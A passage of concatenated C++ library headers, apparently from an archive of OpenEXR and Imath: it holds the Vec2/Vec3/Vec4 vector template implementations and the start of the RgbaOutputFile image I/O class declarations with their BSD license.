limits<T>::min();} static T baseTypeMax() {return limits<T>::max();} static T baseTypeSmallest() {return limits<T>::smallest();} static T baseTypeEpsilon() {return limits<T>::epsilon();} //-------------------------------------------------------------- // Base type -- in templates, which accept a parameter, V, which // could be either a Vec2<T>, a Vec3<T>, or a Vec4<T> you can // refer to T as V::BaseType //-------------------------------------------------------------- typedef T BaseType; private: T lengthTiny () const; }; template <class T> class Vec4 { public: //------------------- // Access to elements //------------------- T x, y, z, w; T & operator [] (int i); const T & operator [] (int i) const; //------------- // Constructors //------------- Vec4 (); // no initialization explicit Vec4 (T a); // (a a a a) Vec4 (T a, T b, T c, T d); // (a b c d) //--------------------------------- // Copy constructors and assignment //--------------------------------- Vec4 (const Vec4 &v); template <class S> Vec4 (const Vec4<S> &v); const Vec4 & operator = (const Vec4 &v); //------------------------------------- // Vec3 to Vec4 conversion, sets w to 1 //------------------------------------- template <class S> explicit Vec4 (const Vec3<S> &v); //--------- // Equality //--------- template <class S> bool operator == (const Vec4<S> &v) const; template <class S> bool operator != (const Vec4<S> &v) const; //----------------------------------------------------------------------- // Compare two vectors and test if they are "approximately equal": // // equalWithAbsError (v, e) // // Returns true if the coefficients of this and v are the same with // an absolute error of no more than e, i.e., for all i // // abs (this[i] - v[i]) <= e // // equalWithRelError (v, e) // // Returns true if the coefficients of this and v are the same with // a relative error of no more than e, i.e., for all i // // abs (this[i] - v[i]) <= e * abs (this[i]) //----------------------------------------------------------------------- bool equalWithAbsError (const Vec4<T> &v, T e) const; bool equalWithRelError (const Vec4<T> &v, T e) const; //------------ // Dot product //------------ T dot (const Vec4 &v) const; T operator ^ (const Vec4 &v) const; //----------------------------------- // Cross product is not defined in 4D //----------------------------------- //------------------------ // Component-wise addition //------------------------ const Vec4 & operator += (const Vec4 &v); Vec4 operator + (const Vec4 &v) const; //--------------------------- // Component-wise subtraction //--------------------------- const Vec4 & operator -= (const Vec4 &v); Vec4 operator - (const Vec4 &v) const; //------------------------------------ // Component-wise multiplication by -1 //------------------------------------ Vec4 operator - () const; const Vec4 & negate (); //------------------------------ // Component-wise multiplication //------------------------------ const Vec4 & operator *= (const Vec4 &v); const Vec4 & operator *= (T a); Vec4 operator * (const Vec4 &v) const; Vec4 operator * (T a) const; //------------------------ // Component-wise division //------------------------ const Vec4 & operator /= (const Vec4 &v); const Vec4 & operator /= (T a); Vec4 operator / (const Vec4 &v) const; Vec4 operator / (T a) const; //---------------------------------------------------------------- // Length and normalization: If v.length() is 0.0, v.normalize() // and v.normalized() produce a null vector; v.normalizeExc() and // v.normalizedExc() throw a NullVecExc. // v.normalizeNonNull() and v.normalizedNonNull() are slightly // faster than the other normalization routines, but if v.length() // is 0.0, the result is undefined. //---------------------------------------------------------------- T length () const; T length2 () const; const Vec4 & normalize (); // modifies *this const Vec4 & normalizeExc () throw (IEX_NAMESPACE::MathExc); const Vec4 & normalizeNonNull (); Vec4<T> normalized () const; // does not modify *this Vec4<T> normalizedExc () const throw (IEX_NAMESPACE::MathExc); Vec4<T> normalizedNonNull () const; //-------------------------------------------------------- // Number of dimensions, i.e. number of elements in a Vec4 //-------------------------------------------------------- static unsigned int dimensions() {return 4;} //------------------------------------------------- // Limitations of type T (see also class limits<T>) //------------------------------------------------- static T baseTypeMin() {return limits<T>::min();} static T baseTypeMax() {return limits<T>::max();} static T baseTypeSmallest() {return limits<T>::smallest();} static T baseTypeEpsilon() {return limits<T>::epsilon();} //-------------------------------------------------------------- // Base type -- in templates, which accept a parameter, V, which // could be either a Vec2<T>, a Vec3<T>, or a Vec4<T> you can // refer to T as V::BaseType //-------------------------------------------------------------- typedef T BaseType; private: T lengthTiny () const; }; //-------------- // Stream output //-------------- template <class T> std::ostream & operator << (std::ostream &s, const Vec2<T> &v); template <class T> std::ostream & operator << (std::ostream &s, const Vec3<T> &v); template <class T> std::ostream & operator << (std::ostream &s, const Vec4<T> &v); //---------------------------------------------------- // Reverse multiplication: S * Vec2<T> and S * Vec3<T> //---------------------------------------------------- template <class T> Vec2<T> operator * (T a, const Vec2<T> &v); template <class T> Vec3<T> operator * (T a, const Vec3<T> &v); template <class T> Vec4<T> operator * (T a, const Vec4<T> &v); //------------------------- // Typedefs for convenience //------------------------- typedef Vec2 <short> V2s; typedef Vec2 <int> V2i; typedef Vec2 <float> V2f; typedef Vec2 <double> V2d; typedef Vec3 <short> V3s; typedef Vec3 <int> V3i; typedef Vec3 <float> V3f; typedef Vec3 <double> V3d; typedef Vec4 <short> V4s; typedef Vec4 <int> V4i; typedef Vec4 <float> V4f; typedef Vec4 <double> V4d; //------------------------------------------- // Specializations for VecN<short>, VecN<int> //------------------------------------------- // Vec2<short> template <> short Vec2<short>::length () const; template <> const Vec2<short> & Vec2<short>::normalize (); template <> const Vec2<short> & Vec2<short>::normalizeExc () throw (IEX_NAMESPACE::MathExc); template <> const Vec2<short> & Vec2<short>::normalizeNonNull (); template <> Vec2<short> Vec2<short>::normalized () const; template <> Vec2<short> Vec2<short>::normalizedExc () const throw (IEX_NAMESPACE::MathExc); template <> Vec2<short> Vec2<short>::normalizedNonNull () const; // Vec2<int> template <> int Vec2<int>::length () const; template <> const Vec2<int> & Vec2<int>::normalize (); template <> const Vec2<int> & Vec2<int>::normalizeExc () throw (IEX_NAMESPACE::MathExc); template <> const Vec2<int> & Vec2<int>::normalizeNonNull (); template <> Vec2<int> Vec2<int>::normalized () const; template <> Vec2<int> Vec2<int>::normalizedExc () const throw (IEX_NAMESPACE::MathExc); template <> Vec2<int> Vec2<int>::normalizedNonNull () const; // Vec3<short> template <> short Vec3<short>::length () const; template <> const Vec3<short> & Vec3<short>::normalize (); template <> const Vec3<short> & Vec3<short>::normalizeExc () throw (IEX_NAMESPACE::MathExc); template <> const Vec3<short> & Vec3<short>::normalizeNonNull (); template <> Vec3<short> Vec3<short>::normalized () const; template <> Vec3<short> Vec3<short>::normalizedExc () const throw (IEX_NAMESPACE::MathExc); template <> Vec3<short> Vec3<short>::normalizedNonNull () const; // Vec3<int> template <> int Vec3<int>::length () const; template <> const Vec3<int> & Vec3<int>::normalize (); template <> const Vec3<int> & Vec3<int>::normalizeExc () throw (IEX_NAMESPACE::MathExc); template <> const Vec3<int> & Vec3<int>::normalizeNonNull (); template <> Vec3<int> Vec3<int>::normalized () const; template <> Vec3<int> Vec3<int>::normalizedExc () const throw (IEX_NAMESPACE::MathExc); template <> Vec3<int> Vec3<int>::normalizedNonNull () const; // Vec4<short> template <> short Vec4<short>::length () const; template <> const Vec4<short> & Vec4<short>::normalize (); template <> const Vec4<short> & Vec4<short>::normalizeExc () throw (IEX_NAMESPACE::MathExc); template <> const Vec4<short> & Vec4<short>::normalizeNonNull (); template <> Vec4<short> Vec4<short>::normalized () const; template <> Vec4<short> Vec4<short>::normalizedExc () const throw (IEX_NAMESPACE::MathExc); template <> Vec4<short> Vec4<short>::normalizedNonNull () const; // Vec4<int> template <> int Vec4<int>::length () const; template <> const Vec4<int> & Vec4<int>::normalize (); template <> const Vec4<int> & Vec4<int>::normalizeExc () throw (IEX_NAMESPACE::MathExc); template <> const Vec4<int> & Vec4<int>::normalizeNonNull (); template <> Vec4<int> Vec4<int>::normalized () const; template <> Vec4<int> Vec4<int>::normalizedExc () const throw (IEX_NAMESPACE::MathExc); template <> Vec4<int> Vec4<int>::normalizedNonNull () const; //------------------------ // Implementation of Vec2: //------------------------ template <class T> inline T & Vec2<T>::operator [] (int i) { return (&x)[i]; } template <class T> inline const T & Vec2<T>::operator [] (int i) const { return (&x)[i]; } template <class T> inline Vec2<T>::Vec2 () { // empty } template <class T> inline Vec2<T>::Vec2 (T a) { x = y = a; } template <class T> inline Vec2<T>::Vec2 (T a, T b) { x = a; y = b; } template <class T> inline Vec2<T>::Vec2 (const Vec2 &v) { x = v.x; y = v.y; } template <class T> template <class S> inline Vec2<T>::Vec2 (const Vec2<S> &v) { x = T (v.x); y = T (v.y); } template <class T> inline const Vec2<T> & Vec2<T>::operator = (const Vec2 &v) { x = v.x; y = v.y; return *this; } template <class T> template <class S> inline void Vec2<T>::setValue (S a, S b) { x = T (a); y = T (b); } template <class T> template <class S> inline void Vec2<T>::setValue (const Vec2<S> &v) { x = T (v.x); y = T (v.y); } template <class T> template <class S> inline void Vec2<T>::getValue (S &a, S &b) const { a = S (x); b = S (y); } template <class T> template <class S> inline void Vec2<T>::getValue (Vec2<S> &v) const { v.x = S (x); v.y = S (y); } template <class T> inline T * Vec2<T>::getValue() { return (T *) &x; } template <class T> inline const T * Vec2<T>::getValue() const { return (const T *) &x; } template <class T> template <class S> inline bool Vec2<T>::operator == (const Vec2<S> &v) const { return x == v.x && y == v.y; } template <class T> template <class S> inline bool Vec2<T>::operator != (const Vec2<S> &v) const { return x != v.x || y != v.y; } template <class T> bool Vec2<T>::equalWithAbsError (const Vec2<T> &v, T e) const { for (int i = 0; i < 2; i++) if (!IMATH_INTERNAL_NAMESPACE::equalWithAbsError ((*this)[i], v[i], e)) return false; return true; } template <class T> bool Vec2<T>::equalWithRelError (const Vec2<T> &v, T e) const { for (int i = 0; i < 2; i++) if (!IMATH_INTERNAL_NAMESPACE::equalWithRelError ((*this)[i], v[i], e)) return false; return true; } template <class T> inline T Vec2<T>::dot (const Vec2 &v) const { return x * v.x + y * v.y; } template <class T> inline T Vec2<T>::operator ^ (const Vec2 &v) const { return dot (v); } template <class T> inline T Vec2<T>::cross (const Vec2 &v) const { return x * v.y - y * v.x; } template <class T> inline T Vec2<T>::operator % (const Vec2 &v) const { return x * v.y - y * v.x; } template <class T> inline const Vec2<T> & Vec2<T>::operator += (const Vec2 &v) { x += v.x; y += v.y; return *this; } template <class T> inline Vec2<T> Vec2<T>::operator + (const Vec2 &v) const { return Vec2 (x + v.x, y + v.y); } template <class T> inline const Vec2<T> & Vec2<T>::operator -= (const Vec2 &v) { x -= v.x; y -= v.y; return *this; } template <class T> inline Vec2<T> Vec2<T>::operator - (const Vec2 &v) const { return Vec2 (x - v.x, y - v.y); } template <class T> inline Vec2<T> Vec2<T>::operator - () const { return Vec2 (-x, -y); } template <class T> inline const Vec2<T> & Vec2<T>::negate () { x = -x; y = -y; return *this; } template <class T> inline const Vec2<T> & Vec2<T>::operator *= (const Vec2 &v) { x *= v.x; y *= v.y; return *this; } template <class T> inline const Vec2<T> & Vec2<T>::operator *= (T a) { x *= a; y *= a; return *this; } template <class T> inline Vec2<T> Vec2<T>::operator * (const Vec2 &v) const { return Vec2 (x * v.x, y * v.y); } template <class T> inline Vec2<T> Vec2<T>::operator * (T a) const { return Vec2 (x * a, y * a); } template <class T> inline const Vec2<T> & Vec2<T>::operator /= (const Vec2 &v) { x /= v.x; y /= v.y; return *this; } template <class T> inline const Vec2<T> & Vec2<T>::operator /= (T a) { x /= a; y /= a; return *this; } template <class T> inline Vec2<T> Vec2<T>::operator / (const Vec2 &v) const { return Vec2 (x / v.x, y / v.y); } template <class T> inline Vec2<T> Vec2<T>::operator / (T a) const { return Vec2 (x / a, y / a); } template <class T> T Vec2<T>::lengthTiny () const { T absX = (x >= T (0))? x: -x; T absY = (y >= T (0))? y: -y; T max = absX; if (max < absY) max = absY; if (max == T (0)) return T (0); // // Do not replace the divisions by max with multiplications by 1/max. // Computing 1/max can overflow but the divisions below will always // produce results less than or equal to 1. // absX /= max; absY /= max; return max * Math<T>::sqrt (absX * absX + absY * absY); } template <class T> inline T Vec2<T>::length () const { T length2 = dot (*this); if (length2 < T (2) * limits<T>::smallest()) return lengthTiny(); return Math<T>::sqrt (length2); } template <class T> inline T Vec2<T>::length2 () const { return dot (*this); } template <class T> const Vec2<T> & Vec2<T>::normalize () { T l = length(); if (l != T (0)) { // // Do not replace the divisions by l with multiplications by 1/l. // Computing 1/l can overflow but the divisions below will always // produce results less than or equal to 1. // x /= l; y /= l; } return *this; } template <class T> const Vec2<T> & Vec2<T>::normalizeExc () throw (IEX_NAMESPACE::MathExc) { T l = length(); if (l == T (0)) throw NullVecExc ("Cannot normalize null vector."); x /= l; y /= l; return *this; } template <class T> inline const Vec2<T> & Vec2<T>::normalizeNonNull () { T l = length(); x /= l; y /= l; return *this; } template <class T> Vec2<T> Vec2<T>::normalized () const { T l = length(); if (l == T (0)) return Vec2 (T (0)); return Vec2 (x / l, y / l); } template <class T> Vec2<T> Vec2<T>::normalizedExc () const throw (IEX_NAMESPACE::MathExc) { T l = length(); if (l == T (0)) throw NullVecExc ("Cannot normalize null vector."); return Vec2 (x / l, y / l); } template <class T> inline Vec2<T> Vec2<T>::normalizedNonNull () const { T l = length(); return Vec2 (x / l, y / l); } //----------------------- // Implementation of Vec3 //----------------------- template <class T> inline T & Vec3<T>::operator [] (int i) { return (&x)[i]; } template <class T> inline const T & Vec3<T>::operator [] (int i) const { return (&x)[i]; } template <class T> inline Vec3<T>::Vec3 () { // empty } template <class T> inline Vec3<T>::Vec3 (T a) { x = y = z = a; } template <class T> inline Vec3<T>::Vec3 (T a, T b, T c) { x = a; y = b; z = c; } template <class T> inline Vec3<T>::Vec3 (const Vec3 &v) { x = v.x; y = v.y; z = v.z; } template <class T> template <class S> inline Vec3<T>::Vec3 (const Vec3<S> &v) { x = T (v.x); y = T (v.y); z = T (v.z); } template <class T> inline const Vec3<T> & Vec3<T>::operator = (const Vec3 &v) { x = v.x; y = v.y; z = v.z; return *this; } template <class T> template <class S> inline Vec3<T>::Vec3 (const Vec4<S> &v) { x = T (v.x / v.w); y = T (v.y / v.w); z = T (v.z / v.w); } template <class T> template <class S> Vec3<T>::Vec3 (const Vec4<S> &v, InfException) { T vx = T (v.x); T vy = T (v.y); T vz = T (v.z); T vw = T (v.w); T absW = (vw >= T (0))? vw: -vw; if (absW < 1) { T m = baseTypeMax() * absW; if (vx <= -m || vx >= m || vy <= -m || vy >= m || vz <= -m || vz >= m) throw InfPointExc ("Cannot normalize point at infinity."); } x = vx / vw; y = vy / vw; z = vz / vw; } template <class T> template <class S> inline void Vec3<T>::setValue (S a, S b, S c) { x = T (a); y = T (b); z = T (c); } template <class T> template <class S> inline void Vec3<T>::setValue (const Vec3<S> &v) { x = T (v.x); y = T (v.y); z = T (v.z); } template <class T> template <class S> inline void Vec3<T>::getValue (S &a, S &b, S &c) const { a = S (x); b = S (y); c = S (z); } template <class T> template <class S> inline void Vec3<T>::getValue (Vec3<S> &v) const { v.x = S (x); v.y = S (y); v.z = S (z); } template <class T> inline T * Vec3<T>::getValue() { return (T *) &x; } template <class T> inline const T * Vec3<T>::getValue() const { return (const T *) &x; } template <class T> template <class S> inline bool Vec3<T>::operator == (const Vec3<S> &v) const { return x == v.x && y == v.y && z == v.z; } template <class T> template <class S> inline bool Vec3<T>::operator != (const Vec3<S> &v) const { return x != v.x || y != v.y || z != v.z; } template <class T> bool Vec3<T>::equalWithAbsError (const Vec3<T> &v, T e) const { for (int i = 0; i < 3; i++) if (!IMATH_INTERNAL_NAMESPACE::equalWithAbsError ((*this)[i], v[i], e)) return false; return true; } template <class T> bool Vec3<T>::equalWithRelError (const Vec3<T> &v, T e) const { for (int i = 0; i < 3; i++) if (!IMATH_INTERNAL_NAMESPACE::equalWithRelError ((*this)[i], v[i], e)) return false; return true; } template <class T> inline T Vec3<T>::dot (const Vec3 &v) const { return x * v.x + y * v.y + z * v.z; } template <class T> inline T Vec3<T>::operator ^ (const Vec3 &v) const { return dot (v); } template <class T> inline Vec3<T> Vec3<T>::cross (const Vec3 &v) const { return Vec3 (y * v.z - z * v.y, z * v.x - x * v.z, x * v.y - y * v.x); } template <class T> inline const Vec3<T> & Vec3<T>::operator %= (const Vec3 &v) { T a = y * v.z - z * v.y; T b = z * v.x - x * v.z; T c = x * v.y - y * v.x; x = a; y = b; z = c; return *this; } template <class T> inline Vec3<T> Vec3<T>::operator % (const Vec3 &v) const { return Vec3 (y * v.z - z * v.y, z * v.x - x * v.z, x * v.y - y * v.x); } template <class T> inline const Vec3<T> & Vec3<T>::operator += (const Vec3 &v) { x += v.x; y += v.y; z += v.z; return *this; } template <class T> inline Vec3<T> Vec3<T>::operator + (const Vec3 &v) const { return Vec3 (x + v.x, y + v.y, z + v.z); } template <class T> inline const Vec3<T> & Vec3<T>::operator -= (const Vec3 &v) { x -= v.x; y -= v.y; z -= v.z; return *this; } template <class T> inline Vec3<T> Vec3<T>::operator - (const Vec3 &v) const { return Vec3 (x - v.x, y - v.y, z - v.z); } template <class T> inline Vec3<T> Vec3<T>::operator - () const { return Vec3 (-x, -y, -z); } template <class T> inline const Vec3<T> & Vec3<T>::negate () { x = -x; y = -y; z = -z; return *this; } template <class T> inline const Vec3<T> & Vec3<T>::operator *= (const Vec3 &v) { x *= v.x; y *= v.y; z *= v.z; return *this; } template <class T> inline const Vec3<T> & Vec3<T>::operator *= (T a) { x *= a; y *= a; z *= a; return *this; } template <class T> inline Vec3<T> Vec3<T>::operator * (const Vec3 &v) const { return Vec3 (x * v.x, y * v.y, z * v.z); } template <class T> inline Vec3<T> Vec3<T>::operator * (T a) const { return Vec3 (x * a, y * a, z * a); } template <class T> inline const Vec3<T> & Vec3<T>::operator /= (const Vec3 &v) { x /= v.x; y /= v.y; z /= v.z; return *this; } template <class T> inline const Vec3<T> & Vec3<T>::operator /= (T a) { x /= a; y /= a; z /= a; return *this; } template <class T> inline Vec3<T> Vec3<T>::operator / (const Vec3 &v) const { return Vec3 (x / v.x, y / v.y, z / v.z); } template <class T> inline Vec3<T> Vec3<T>::operator / (T a) const { return Vec3 (x / a, y / a, z / a); } template <class T> T Vec3<T>::lengthTiny () const { T absX = (x >= T (0))? x: -x; T absY = (y >= T (0))? y: -y; T absZ = (z >= T (0))? z: -z; T max = absX; if (max < absY) max = absY; if (max < absZ) max = absZ; if (max == T (0)) return T (0); // // Do not replace the divisions by max with multiplications by 1/max. // Computing 1/max can overflow but the divisions below will always // produce results less than or equal to 1. // absX /= max; absY /= max; absZ /= max; return max * Math<T>::sqrt (absX * absX + absY * absY + absZ * absZ); } template <class T> inline T Vec3<T>::length () const { T length2 = dot (*this); if (length2 < T (2) * limits<T>::smallest()) return lengthTiny(); return Math<T>::sqrt (length2); } template <class T> inline T Vec3<T>::length2 () const { return dot (*this); } template <class T> const Vec3<T> & Vec3<T>::normalize () { T l = length(); if (l != T (0)) { // // Do not replace the divisions by l with multiplications by 1/l. // Computing 1/l can overflow but the divisions below will always // produce results less than or equal to 1. // x /= l; y /= l; z /= l; } return *this; } template <class T> const Vec3<T> & Vec3<T>::normalizeExc () throw (IEX_NAMESPACE::MathExc) { T l = length(); if (l == T (0)) throw NullVecExc ("Cannot normalize null vector."); x /= l; y /= l; z /= l; return *this; } template <class T> inline const Vec3<T> & Vec3<T>::normalizeNonNull () { T l = length(); x /= l; y /= l; z /= l; return *this; } template <class T> Vec3<T> Vec3<T>::normalized () const { T l = length(); if (l == T (0)) return Vec3 (T (0)); return Vec3 (x / l, y / l, z / l); } template <class T> Vec3<T> Vec3<T>::normalizedExc () const throw (IEX_NAMESPACE::MathExc) { T l = length(); if (l == T (0)) throw NullVecExc ("Cannot normalize null vector."); return Vec3 (x / l, y / l, z / l); } template <class T> inline Vec3<T> Vec3<T>::normalizedNonNull () const { T l = length(); return Vec3 (x / l, y / l, z / l); } //----------------------- // Implementation of Vec4 //----------------------- template <class T> inline T & Vec4<T>::operator [] (int i) { return (&x)[i]; } template <class T> inline const T & Vec4<T>::operator [] (int i) const { return (&x)[i]; } template <class T> inline Vec4<T>::Vec4 () { // empty } template <class T> inline Vec4<T>::Vec4 (T a) { x = y = z = w = a; } template <class T> inline Vec4<T>::Vec4 (T a, T b, T c, T d) { x = a; y = b; z = c; w = d; } template <class T> inline Vec4<T>::Vec4 (const Vec4 &v) { x = v.x; y = v.y; z = v.z; w = v.w; } template <class T> template <class S> inline Vec4<T>::Vec4 (const Vec4<S> &v) { x = T (v.x); y = T (v.y); z = T (v.z); w = T (v.w); } template <class T> inline const Vec4<T> & Vec4<T>::operator = (const Vec4 &v) { x = v.x; y = v.y; z = v.z; w = v.w; return *this; } template <class T> template <class S> inline Vec4<T>::Vec4 (const Vec3<S> &v) { x = T (v.x); y = T (v.y); z = T (v.z); w = T (1); } template <class T> template <class S> inline bool Vec4<T>::operator == (const Vec4<S> &v) const { return x == v.x && y == v.y && z == v.z && w == v.w; } template <class T> template <class S> inline bool Vec4<T>::operator != (const Vec4<S> &v) const { return x != v.x || y != v.y || z != v.z || w != v.w; } template <class T> bool Vec4<T>::equalWithAbsError (const Vec4<T> &v, T e) const { for (int i = 0; i < 4; i++) if (!IMATH_INTERNAL_NAMESPACE::equalWithAbsError ((*this)[i], v[i], e)) return false; return true; } template <class T> bool Vec4<T>::equalWithRelError (const Vec4<T> &v, T e) const { for (int i = 0; i < 4; i++) if (!IMATH_INTERNAL_NAMESPACE::equalWithRelError ((*this)[i], v[i], e)) return false; return true; } template <class T> inline T Vec4<T>::dot (const Vec4 &v) const { return x * v.x + y * v.y + z * v.z + w * v.w; } template <class T> inline T Vec4<T>::operator ^ (const Vec4 &v) const { return dot (v); } template <class T> inline const Vec4<T> & Vec4<T>::operator += (const Vec4 &v) { x += v.x; y += v.y; z += v.z; w += v.w; return *this; } template <class T> inline Vec4<T> Vec4<T>::operator + (const Vec4 &v) const { return Vec4 (x + v.x, y + v.y, z + v.z, w + v.w); } template <class T> inline const Vec4<T> & Vec4<T>::operator -= (const Vec4 &v) { x -= v.x; y -= v.y; z -= v.z; w -= v.w; return *this; } template <class T> inline Vec4<T> Vec4<T>::operator - (const Vec4 &v) const { return Vec4 (x - v.x, y - v.y, z - v.z, w - v.w); } template <class T> inline Vec4<T> Vec4<T>::operator - () const { return Vec4 (-x, -y, -z, -w); } template <class T> inline const Vec4<T> & Vec4<T>::negate () { x = -x; y = -y; z = -z; w = -w; return *this; } template <class T> inline const Vec4<T> & Vec4<T>::operator *= (const Vec4 &v) { x *= v.x; y *= v.y; z *= v.z; w *= v.w; return *this; } template <class T> inline const Vec4<T> & Vec4<T>::operator *= (T a) { x *= a; y *= a; z *= a; w *= a; return *this; } template <class T> inline Vec4<T> Vec4<T>::operator * (const Vec4 &v) const { return Vec4 (x * v.x, y * v.y, z * v.z, w * v.w); } template <class T> inline Vec4<T> Vec4<T>::operator * (T a) const { return Vec4 (x * a, y * a, z * a, w * a); } template <class T> inline const Vec4<T> & Vec4<T>::operator /= (const Vec4 &v) { x /= v.x; y /= v.y; z /= v.z; w /= v.w; return *this; } template <class T> inline const Vec4<T> & Vec4<T>::operator /= (T a) { x /= a; y /= a; z /= a; w /= a; return *this; } template <class T> inline Vec4<T> Vec4<T>::operator / (const Vec4 &v) const { return Vec4 (x / v.x, y / v.y, z / v.z, w / v.w); } template <class T> inline Vec4<T> Vec4<T>::operator / (T a) const { return Vec4 (x / a, y / a, z / a, w / a); } template <class T> T Vec4<T>::lengthTiny () const { T absX = (x >= T (0))? x: -x; T absY = (y >= T (0))? y: -y; T absZ = (z >= T (0))? z: -z; T absW = (w >= T (0))? w: -w; T max = absX; if (max < absY) max = absY; if (max < absZ) max = absZ; if (max < absW) max = absW; if (max == T (0)) return T (0); // // Do not replace the divisions by max with multiplications by 1/max. // Computing 1/max can overflow but the divisions below will always // produce results less than or equal to 1. // absX /= max; absY /= max; absZ /= max; absW /= max; return max * Math<T>::sqrt (absX * absX + absY * absY + absZ * absZ + absW * absW); } template <class T> inline T Vec4<T>::length () const { T length2 = dot (*this); if (length2 < T (2) * limits<T>::smallest()) return lengthTiny(); return Math<T>::sqrt (length2); } template <class T> inline T Vec4<T>::length2 () const { return dot (*this); } template <class T> const Vec4<T> & Vec4<T>::normalize () { T l = length(); if (l != T (0)) { // // Do not replace the divisions by l with multiplications by 1/l. // Computing 1/l can overflow but the divisions below will always // produce results less than or equal to 1. // x /= l; y /= l; z /= l; w /= l; } return *this; } template <class T> const Vec4<T> & Vec4<T>::normalizeExc () throw (IEX_NAMESPACE::MathExc) { T l = length(); if (l == T (0)) throw NullVecExc ("Cannot normalize null vector."); x /= l; y /= l; z /= l; w /= l; return *this; } template <class T> inline const Vec4<T> & Vec4<T>::normalizeNonNull () { T l = length(); x /= l; y /= l; z /= l; w /= l; return *this; } template <class T> Vec4<T> Vec4<T>::normalized () const { T l = length(); if (l == T (0)) return Vec4 (T (0)); return Vec4 (x / l, y / l, z / l, w / l); } template <class T> Vec4<T> Vec4<T>::normalizedExc () const throw (IEX_NAMESPACE::MathExc) { T l = length(); if (l == T (0)) throw NullVecExc ("Cannot normalize null vector."); return Vec4 (x / l, y / l, z / l, w / l); } template <class T> inline Vec4<T> Vec4<T>::normalizedNonNull () const { T l = length(); return Vec4 (x / l, y / l, z / l, w / l); } //----------------------------- // Stream output implementation //----------------------------- template <class T> std::ostream & operator << (std::ostream &s, const Vec2<T> &v) { return s << '(' << v.x << ' ' << v.y << ')'; } template <class T> std::ostream & operator << (std::ostream &s, const Vec3<T> &v) { return s << '(' << v.x << ' ' << v.y << ' ' << v.z << ')'; } template <class T> std::ostream & operator << (std::ostream &s, const Vec4<T> &v) { return s << '(' << v.x << ' ' << v.y << ' ' << v.z << ' ' << v.w << ')'; } //----------------------------------------- // Implementation of reverse multiplication //----------------------------------------- template <class T> inline Vec2<T> operator * (T a, const Vec2<T> &v) { return Vec2<T> (a * v.x, a * v.y); } template <class T> inline Vec3<T> operator * (T a, const Vec3<T> &v) { return Vec3<T> (a * v.x, a * v.y, a * v.z); } template <class T> inline Vec4<T> operator * (T a, const Vec4<T> &v) { return Vec4<T> (a * v.x, a * v.y, a * v.z, a * v.w); } #if (defined _WIN32 || defined _WIN64) && defined _MSC_VER #pragma warning(pop) #endif IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHVEC_H OpenEXR/ImfRgbaFile.h 0000644 00000026517 15246445047 0010332 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_RGBA_FILE_H #define INCLUDED_IMF_RGBA_FILE_H //----------------------------------------------------------------------------- // // Simplified RGBA image I/O // // class RgbaOutputFile // class RgbaInputFile // //----------------------------------------------------------------------------- #include "ImfHeader.h" #include "ImfFrameBuffer.h" #include "ImfRgba.h" #include "ImathVec.h" #include "ImathBox.h" #include "half.h" #include "ImfThreading.h" #include <string> #include "ImfNamespace.h" #include "ImfForward.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER // // RGBA output file. // class IMF_EXPORT RgbaOutputFile { public: //--------------------------------------------------- // Constructor -- header is constructed by the caller //--------------------------------------------------- RgbaOutputFile (const char name[], const Header &header, RgbaChannels rgbaChannels = WRITE_RGBA, int numThreads = globalThreadCount()); //---------------------------------------------------- // Constructor -- header is constructed by the caller, // file is opened by the caller, destructor will not // automatically close the file. //---------------------------------------------------- RgbaOutputFile (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &os, const Header &header, RgbaChannels rgbaChannels = WRITE_RGBA, int numThreads = globalThreadCount()); //---------------------------------------------------------------- // Constructor -- header data are explicitly specified as function // call arguments (empty dataWindow means "same as displayWindow") //---------------------------------------------------------------- RgbaOutputFile (const char name[], const IMATH_NAMESPACE::Box2i &displayWindow, const IMATH_NAMESPACE::Box2i &dataWindow = IMATH_NAMESPACE::Box2i(), RgbaChannels rgbaChannels = WRITE_RGBA, float pixelAspectRatio = 1, const IMATH_NAMESPACE::V2f screenWindowCenter = IMATH_NAMESPACE::V2f (0, 0), float screenWindowWidth = 1, LineOrder lineOrder = INCREASING_Y, Compression compression = PIZ_COMPRESSION, int numThreads = globalThreadCount()); //----------------------------------------------- // Constructor -- like the previous one, but both // the display window and the data window are // Box2i (V2i (0, 0), V2i (width - 1, height -1)) //----------------------------------------------- RgbaOutputFile (const char name[], int width, int height, RgbaChannels rgbaChannels = WRITE_RGBA, float pixelAspectRatio = 1, const IMATH_NAMESPACE::V2f screenWindowCenter = IMATH_NAMESPACE::V2f (0, 0), float screenWindowWidth = 1, LineOrder lineOrder = INCREASING_Y, Compression compression = PIZ_COMPRESSION, int numThreads = globalThreadCount()); //----------- // Destructor //----------- virtual ~RgbaOutputFile (); //------------------------------------------------ // Define a frame buffer as the pixel data source: // Pixel (x, y) is at address // // base + x * xStride + y * yStride // //------------------------------------------------ void setFrameBuffer (const 